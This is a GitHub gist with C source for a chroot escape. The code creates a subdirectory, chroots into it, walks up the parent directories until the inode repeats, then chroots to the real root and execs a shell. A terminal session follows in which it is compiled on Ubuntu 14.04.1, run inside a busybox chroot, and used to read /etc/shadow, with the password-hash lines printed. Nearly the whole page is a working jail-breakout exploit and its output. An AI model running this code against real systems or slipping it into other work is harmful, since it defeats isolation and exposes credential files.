Skip to content

Instantly share code, notes, and snippets.

@inaz2
Created April 29, 2015 12:09
Show Gist options
  • Save inaz2/d06e5767278b041e6906 to your computer and use it in GitHub Desktop.
Save inaz2/d06e5767278b041e6906 to your computer and use it in GitHub Desktop.
escape from chroot on Ubuntu 14.04.1
/* http://www.gcd.org/blog/2007/09/132/ */
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <errno.h>
#define BUFMAX 256
int main(int argc, char *argv[]) {
char buf[BUFMAX+1];
ino_t ino = 0;
if (chdir("/") < 0) {
printf("Can't chdir \"/\" errno=%d\n", errno);
return 1;
}
sprintf(buf, "escape.%d", getpid());
if (mkdir(buf, 0755) < 0) {
printf("Can't mkdir \"%s\" errno=%d\n", buf, errno);
return 1;
}
if (chroot(buf) < 0) {
printf("Can't chroot \"%s\" errno=%d\n", buf, errno);
return 1;
}
if (rmdir(buf) < 0) {
printf("Can't rmdir \"%s\" errno=%d\n", buf, errno);
return 1;
}
for (;;) {
struct stat st;
if (stat(".", &st) < 0) {
printf("Can't stat errno=%d\n", errno);
return 1;
}
if (st.st_ino == ino) break;
ino = st.st_ino;
if (chdir("..") < 0) {
printf("Can't chdir \"..\" ino=%ld errno=%d\n",
ino, errno);
return 1;
}
}
if (chroot(".") < 0) {
printf("Can't chroot \".\" errno=%d\n", errno);
return 1;
}
argv++;
execv(argv[0], argv);
printf("Can't exec %s err=%d\n", argv[0], errno);
return 0;
}
$ uname -a
Linux vm-ubuntu64 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.1 LTS
Release: 14.04
Codename: trusty
$ ls -alR /tmp/chroot/
/tmp/chroot/:
total 28
drwxr-xr-x 3 root root 4096 Apr 21 23:58 ./
drwxrwxrwt 6 root root 20480 Apr 21 23:58 ../
drwxr-xr-x 2 root root 4096 Apr 21 23:46 bin/
/tmp/chroot/bin:
total 1884
drwxr-xr-x 2 root root 4096 Apr 21 23:46 ./
drwxr-xr-x 3 root root 4096 Apr 21 23:58 ../
-rwxr-xr-x 1 root root 1918032 Apr 21 23:46 busybox*
lrwxrwxrwx 1 root root 7 Apr 21 23:46 ls -> busybox*
lrwxrwxrwx 1 root root 7 Apr 21 23:46 sh -> busybox*
$ gcc -static escape.c -o escape
$ sudo mv escape /tmp/chroot
$ sudo chroot /tmp/chroot /bin/sh
BusyBox v1.21.1 (Ubuntu 1:1.21.0-1ubuntu1) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/ # pwd
/
/ # cat /etc/shadow
cat: can't open '/etc/shadow': No such file or directory
/ # ./escape /bin/sh
# cat /etc/shadow
root:!:16349:0:99999:7:::
daemon:*:16273:0:99999:7:::
bin:*:16273:0:99999:7:::
sys:*:16273:0:99999:7:::
(snip)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment